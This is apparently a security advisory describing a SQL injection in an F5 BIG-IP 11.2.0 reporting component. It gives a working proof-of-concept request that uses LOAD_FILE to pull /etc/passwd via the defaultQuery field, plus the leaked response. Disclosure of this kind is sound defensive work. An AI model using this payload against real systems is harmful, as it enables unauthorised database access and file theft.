Vulnerability overview/description:  
-----------------------------------  
A SQL injection vulnerability exists in a BIG-IP component. This enables an  
authenticated attacker to access the MySQL database with the rights of MySQL  
user "root" (= highest privileges).  
  
Furthermore an attacker can access files in the file system with the rights of  
the "mysql" OS user.  
  
  
Proof of concept:  
-----------------  
The following exploit shows how files can be extracted from the file system:  
  
POST /sam/admin/reports/php/saveSettings.php HTTP/1.1  
Host: bigip  
Cookie: BIGIPAuthCookie=*VALID_COOKIE*  
Content-Length: 119  
  
{  
"id": 2,  
"defaultQuery": "XX', ext1=(SELECT MID(LOAD_FILE('/etc/passwd'),0,60)) --  
x" }  
  
Note: target fields are only VARCHAR(60) thus MID() is used for extracting  
data.  
  
A request to /sam/admin/reports/php/getSettings.php returns the data:  
  
HTTP/1.1 200 OK  
...  
  
{success:true,totalCount:1,rows:[{"id":"2","user":"admin","defaultQuery":"XX","ext1":"root:x:0:0:root:\/root:\/bin\/bash\nbin:x:1:1:bin:\/bin:\/sbin\/nol","ext2":""}]}  
  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerability has been verified to exist in the F5 BIG-IP version 11.2.0.  
  
Successful exploitation was possible with Application Security (ASM) or Access  
Policy (APM) enabled.
